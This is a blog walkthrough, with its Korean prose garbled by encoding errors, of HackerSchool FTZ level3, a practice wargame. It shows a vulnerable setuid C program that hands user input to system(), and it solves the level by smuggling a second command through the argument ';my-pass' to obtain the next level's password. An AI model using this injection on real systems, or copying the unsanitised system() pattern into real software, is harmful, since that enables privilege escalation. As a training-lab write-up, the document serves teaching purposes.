$ cat hint
[level3@ftz level3]$ cat hint
๋ค์ ์ฝ๋๋ autodig์ ์์ค์ด๋ค.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
์ด๋ฅผ ์ด์ฉํ์ฌ level4์ ๊ถํ์ ์ป์ด๋ผ.
more hints.
- ๋์์ ์ฌ๋ฌ ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํ๋ ค๋ฉด?
- ๋ฌธ์์ด ํํ๋ก ๋ช
๋ น์ด๋ฅผ ์ ๋ฌํ๋ ค๋ฉด?
์ด๋ฒ ํํธ์๋ autodig ๋ผ๋ ํ์ผ์ ์ด์ฉํด์ผํ๋๋ฐ,
์ด ํ์ผ์ ์ฝ๋ (c์ธ์ด)๋ฅผ ์ดํดํด์ผํ๋ค.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
// ์ฌ์ฉ์์๊ฒ ์ ์์ ๋ฌธ์์ด์ ์
๋ ฅ๋ฐ๋๋ค
char cmd[100];
if( argc!=2 ){
// ์ ์๊ฐ 2๊ฐ ์๋๋ผ๋ฉด ์๋ ๋ด์ฉ ์ถ๋ ฅํ ์ข
๋ฃ
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
// cmd = dig@{์ฌ์ฉ์๊ฐ์
๋ ฅํ๋ฌธ์}version.bind chaos txt
system( cmd );
// cmd๋ฅผ ๋ช
๋ น์ด๋ก ์คํ
}
์ด ํ์ผ์ ์คํํ ๋ ์ธ์๋ง ์ ์ ํ ์กฐ์ํ๋ฉด ์ํ๋ ๋ช ๋ น์ด๋ฅผ ์คํ๊ฐ๋ฅํ๋ค.
์ฐ๋ฆฌ๋ my-pass ๋ผ๋ ๋ช ๋ น์ด๋ง ์คํํ๋ฉด ๋๋ค.
์ผ๋จ autodig ๋ฅผ ์ฐพ์
$ find / -user level4
[level3@ftz level3]$ find / -user level4
find: /lost+found: Permission denied
find: /boot/lost+found: Permission denied
find: /proc/1/fd: Permission denied
...
/bin/autodig
...
find: /home/trainer7: Permission denied
find: /home/trainer8: Permission denied
find: /home/trainer9: Permission denied
bin ์ผ๋ก ์ด๋ํ๊ณ autodig๋ฅผ ์คํํด๋ณด์
$ cd /bin
$ ./autodig
[level3@ftz level3]$ cd /bin
[level3@ftz bin]$ ./autodig
Auto Digger Version 0.9
Usage : ./autodig host
argc๊ฐ 2๊ฐ ์๋๋ฏ๋ก ์ฝ๋๋ด์ ์๋ ๋ด์ฉ์ด ์ถ๋ ฅ๋๊ณ ์ข ๋ฃ๋์๋ค.
autodig ํ์ผ์ ํ๋ฒ๋ง ๋ ์ดํด๋ณด์
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
// cmd = dig@{์ฌ์ฉ์๊ฐ์
๋ ฅํ๋ฌธ์}version.bind chaos txt
๋ณธ ํ์ผ์์๋ ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ ๋ฌธ์์ด์ ํฌํจํ ๋ช ๋ น์ด๋ฅผ ์คํํ๋ค.
dig@~๋ก ์์ํ๋ ๋ช ๋ น์ด๋ ๊ทธ๋ฅ ์ข ๋ฃ์์ผ๋ฒ๋ฆฌ๊ณ , my-pass๊ฐ ์คํ๋๊ฒ ํ๋ฉด ๋๋ค.
์ธ๋ฏธ์ฝ๋ก ์ ๋ฃ์ผ๋ฉด ์ ๋ช ๋ น์ด๋ฅผ ์คํํ๊ณ ๋ค์ ๋ค๋ฅธ ๋ช ๋ น์ด๋ฅผ ๋ ์คํํ ์ ์๋ค
cmd = dig@;my-pass version.bind chaos txt ์ด๋ ๊ฒ !!
์ฆ ์ธ์๋ก ";my-pass"๋ผ๋ ๋ฌธ์์ด์ ์ ๋ฌํด์ฃผ๋ฉด ํด๋น ํ์ผ์ด ์์์ ๋ด๊ฐ ์ํ๋ ๋ช ๋ น์ด๋ฅผ ์คํํ๊ฒ ๋๋ค.
$ ./autodig ";my-pass"
[level3@ftz bin]$ ./autodig ";my-pass"
dig: Couldn't find server '': Name or service not known
...
dig@; ์ ๋ํ ๋ช ๋ น ์คํ ๊ฒฐ๊ณผ๋ก Couldn't find server '': Name or service not known ์ด๋ผ๋ ๋ด์ฉ์ด ์ถ๋ ฅ๋์๊ณ
์ด์ด์ my-pass ์ ๋ํ ๋ช ๋ น ์คํ ๊ฒฐ๊ณผ๋ก ํจ์ค์๋๊ฐ ์ถ๋ ฅ๋๋ค.
[level3@ftz bin]$ ./autodig ";my-pass"
dig: Couldn't find server '': Name or service not known
Level4 Password is "suck my brain".
'๐ CTF (Dreamhack) > System Hacking (์์คํ ํดํน)' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[HackerSchool] ํด์ปค์ค์ฟจ FTZ: level2 (0) | 2022.10.06 |
---|---|
[HackerSchool] ํด์ปค์ค์ฟจ FTZ: Level1 (0) | 2022.10.05 |